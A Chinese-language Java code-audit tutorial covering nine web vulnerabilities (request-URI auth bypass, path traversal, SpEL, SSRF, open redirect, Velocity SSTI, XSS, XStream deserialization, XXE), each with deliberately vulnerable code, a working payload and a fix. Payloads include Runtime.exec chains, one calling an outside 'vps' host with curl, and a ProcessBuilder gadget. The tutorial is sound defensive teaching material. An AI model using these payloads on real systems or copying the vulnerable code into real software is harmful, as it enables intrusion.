Java-Sec代码审计漏洞篇(二)
字数 1496 2025-08-22 12:22:24

Java代码审计漏洞详解与防护指南

前言

本文详细讲解Java代码审计中常见的漏洞类型,包括GetRequestURI、PathTraversal、SpEL、SSRF、URLRedirect、SSTI、XSS、XStreamRCE以及XXE等漏洞的原理、利用方式和修复方案。

1. GetRequestURI权限绕过漏洞

漏洞原理

当应用存在静态资源目录(如/css/)时,开发者常用getRequestURI()获取URI后判断是否包含特定字符串(如"/css/")来决定是否进行权限校验。攻击者可构造特殊URI绕过权限检查。

漏洞代码示例

@GetMapping(value = "/exclued/vuln")
public String exclued(HttpServletRequest request) {
    String[] excluedPath = {"/css/**", "/js/**"};
    String uri = request.getRequestURI();
    PathMatcher matcher = new AntPathMatcher();
    for (String path : excluedPath) {
        if (matcher.match(path, uri)) {
            return "You have bypassed the login page.";
        }
    }
    return "This is a login page >..<";
}

攻击方式

构造URI:/css/..;/exclued/vuln

修复方案

使用getServletPath()替代getRequestURI(),该方法会自动对URL进行标准化处理:

String uri = request.getServletPath();

2. 路径遍历(PathTraversal)漏洞

漏洞原理

未对用户输入的文件路径进行严格校验,攻击者可通过../等特殊字符访问系统任意文件。

漏洞代码示例

@GetMapping("/path_traversal/vul")
public String getImage(String filepath) throws IOException {
    File f = new File(filepath);
    if (f.exists() && !f.isDirectory()) {
        byte[] data = Files.readAllBytes(Paths.get(imgFile));
        return new String(Base64.encodeBase64(data));
    }
    return "File doesn't exist or is not a file.";
}

攻击方式

?filepath=../../etc/passwd

修复方案

public static String pathFilter(String filepath) {
    String temp = filepath;
    // 处理多层URL编码
    while (temp.indexOf('%') != -1) {
        try {
            temp = URLDecoder.decode(temp, "utf-8");
        } catch (Exception e) {
            return null;
        }
    }
    if (temp.contains("..") || temp.charAt(0) == '/') {
        return null;
    }
    return filepath;
}

3. SpEL表达式注入漏洞

漏洞原理

Spring Expression Language (SpEL)表达式注入,当用户输入直接作为SpEL表达式解析时,可导致任意代码执行。

漏洞代码示例

@RequestMapping("/spel/vuln1")
public String spel_vuln1(String value) {
    ExpressionParser parser = new SpelExpressionParser();
    return parser.parseExpression(value).getValue().toString();
}

攻击方式

T(java.lang.Runtime).getRuntime().exec("curl vps:2333")

模板表达式攻击

@RequestMapping("spel/vuln2")
public String spel_vuln2(String value) {
    StandardEvaluationContext context = new StandardEvaluationContext();
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(value, new TemplateParserContext());
    Object x = expression.getValue(context);
    return x.toString();
}

攻击payload:#{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}

修复方案

  1. 使用SimpleEvaluationContext替代StandardEvaluationContext
  2. 对用户输入进行严格过滤

4. SSRF(服务端请求伪造)漏洞

漏洞原理

攻击者利用服务端发起任意HTTP请求,可探测内网或读取本地文件。

漏洞代码示例

@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String URLConnectionVuln(String url) {
    URL u = new URL(url);
    URLConnection urlConnection = u.openConnection();
    BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
    // ...读取响应...
}

攻击方式

?url=file:///etc/passwd

修复方案

@GetMapping("/urlConnection/sec")
public String URLConnectionSec(String url) {
    // 只允许http/https协议
    if (!SecurityUtil.isHttp(url)) {
        return "[-] SSRF check failed";
    }
    // 检查URL是否安全
    if (!SSRFChecker.checkSSRF(url, 10)) {
        return "[-] SSRF check failed";
    }
    return HttpUtils.URLConnection(url);
}

5. URL重定向漏洞

漏洞原理

未对重定向URL进行校验,导致可跳转至任意恶意网站。

漏洞代码示例

@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url) {
    return "redirect:" + url;
}

攻击方式

?url=http://evil.com

修复方案

@RequestMapping("/sendRedirect/sec")
@ResponseBody
public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException {
    String url = request.getParameter("url");
    if (SecurityUtil.checkURL(url) == null) {
        response.setStatus(HttpServletResponse.SC_FORBIDDEN);
        response.getWriter().write("url forbidden");
        return;
    }
    response.sendRedirect(url);
}

6. SSTI(服务端模板注入)漏洞

漏洞原理

当用户输入直接作为模板内容解析时,可导致任意代码执行。

漏洞代码示例(Velocity模板)

@GetMapping("/velocity")
public void velocity(String template) {
    Velocity.init();
    VelocityContext context = new VelocityContext();
    StringWriter swOut = new StringWriter();
    Velocity.evaluate(context, swOut, "test", template);
}

攻击方式

Velocity模板注入payload:

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("")

修复方案

  1. 避免直接使用用户输入作为模板
  2. 对模板变量进行严格过滤

7. XSS(跨站脚本)漏洞

反射型XSS

@RequestMapping("/reflect")
@ResponseBody
public static String reflect(String xss) {
    return xss;
}

攻击:?xss=<script>alert(1)</script>

存储型XSS

@RequestMapping("/stored/store")
@ResponseBody
public String store(String xss, HttpServletResponse response) {
    Cookie cookie = new Cookie("xss", xss);
    response.addCookie(cookie);
    return "Set param into cookie";
}

@RequestMapping("/stored/show")
@ResponseBody
public String show(@CookieValue("xss") String xss) {
    return xss;
}

修复方案

private static String encode(String origin) {
    origin = StringUtils.replace(origin, "&", "&amp;");
    origin = StringUtils.replace(origin, "<", "&lt;");
    origin = StringUtils.replace(origin, ">", "&gt;");
    origin = StringUtils.replace(origin, "\"", "&quot;");
    origin = StringUtils.replace(origin, "'", "&#x27;");
    origin = StringUtils.replace(origin, "/", "&#x2F;");
    return origin;
}

8. XStream反序列化漏洞

漏洞原理

XStream在反序列化XML时未做严格限制,可导致任意代码执行。

漏洞代码示例

@PostMapping("/xstream")
public String parseXml(HttpServletRequest request) throws Exception {
    String xml = WebUtils.getRequestBody(request);
    XStream xstream = new XStream(new DomDriver());
    xstream.fromXML(xml);
    return "xstream";
}

攻击payload

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>touch</string>
          <string>/tmp/aaaaa</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

修复方案

  1. 升级XStream到安全版本(1.4.11+)
  2. 配置安全框架限制反序列化类

9. XXE(XML外部实体注入)漏洞

漏洞原理

XML解析时允许加载外部实体,可导致任意文件读取或SSRF。

漏洞代码示例

@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
    String body = WebUtils.getRequestBody(request);
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    InputSource is = new InputSource(new StringReader(body));
    Document document = db.parse(is);
    // ...处理XML...
}

攻击payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
  <!ENTITY xxe SYSTEM "file:///tmp/111.txt">
]>
<root>&xxe;</root>

修复方案

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用外部实体
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();

总结

本文详细介绍了Java Web应用中常见的九类安全漏洞,每种漏洞都从原理、攻击方式和修复方案三个维度进行了深入分析。在实际开发中,开发者应:

  1. 对所有用户输入进行严格校验和过滤
  2. 使用安全的API替代危险API
  3. 及时更新框架和库到安全版本
  4. 遵循最小权限原则
  5. 实施深度防御策略

通过全面的安全编码实践和定期的代码审计,可以有效预防这些安全漏洞的产生。

Java代码审计漏洞详解与防护指南 前言 本文详细讲解Java代码审计中常见的漏洞类型,包括GetRequestURI、PathTraversal、SpEL、SSRF、URLRedirect、SSTI、XSS、XStreamRCE以及XXE等漏洞的原理、利用方式和修复方案。 1. GetRequestURI权限绕过漏洞 漏洞原理 当应用存在静态资源目录(如/css/)时,开发者常用 getRequestURI() 获取URI后判断是否包含特定字符串(如"/css/")来决定是否进行权限校验。攻击者可构造特殊URI绕过权限检查。 漏洞代码示例 攻击方式 构造URI: /css/..;/exclued/vuln 修复方案 使用 getServletPath() 替代 getRequestURI() ,该方法会自动对URL进行标准化处理: 2. 路径遍历(PathTraversal)漏洞 漏洞原理 未对用户输入的文件路径进行严格校验,攻击者可通过 ../ 等特殊字符访问系统任意文件。 漏洞代码示例 攻击方式 ?filepath=../../etc/passwd 修复方案 3. SpEL表达式注入漏洞 漏洞原理 Spring Expression Language (SpEL)表达式注入,当用户输入直接作为SpEL表达式解析时,可导致任意代码执行。 漏洞代码示例 攻击方式 模板表达式攻击 攻击payload: #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')} 修复方案 使用 SimpleEvaluationContext 替代 StandardEvaluationContext 对用户输入进行严格过滤 4. SSRF(服务端请求伪造)漏洞 漏洞原理 攻击者利用服务端发起任意HTTP请求,可探测内网或读取本地文件。 漏洞代码示例 攻击方式 ?url=file:///etc/passwd 修复方案 5. URL重定向漏洞 漏洞原理 未对重定向URL进行校验,导致可跳转至任意恶意网站。 漏洞代码示例 攻击方式 ?url=http://evil.com 修复方案 6. SSTI(服务端模板注入)漏洞 漏洞原理 当用户输入直接作为模板内容解析时,可导致任意代码执行。 漏洞代码示例(Velocity模板) 攻击方式 Velocity模板注入payload: 修复方案 避免直接使用用户输入作为模板 对模板变量进行严格过滤 7. XSS(跨站脚本)漏洞 反射型XSS 攻击: ?xss=<script>alert(1)</script> 存储型XSS 修复方案 8. XStream反序列化漏洞 漏洞原理 XStream在反序列化XML时未做严格限制,可导致任意代码执行。 漏洞代码示例 攻击payload 修复方案 升级XStream到安全版本(1.4.11+) 配置安全框架限制反序列化类 9. XXE(XML外部实体注入)漏洞 漏洞原理 XML解析时允许加载外部实体,可导致任意文件读取或SSRF。 漏洞代码示例 攻击payload 修复方案 总结 本文详细介绍了Java Web应用中常见的九类安全漏洞,每种漏洞都从原理、攻击方式和修复方案三个维度进行了深入分析。在实际开发中,开发者应: 对所有用户输入进行严格校验和过滤 使用安全的API替代危险API 及时更新框架和库到安全版本 遵循最小权限原则 实施深度防御策略 通过全面的安全编码实践和定期的代码审计,可以有效预防这些安全漏洞的产生。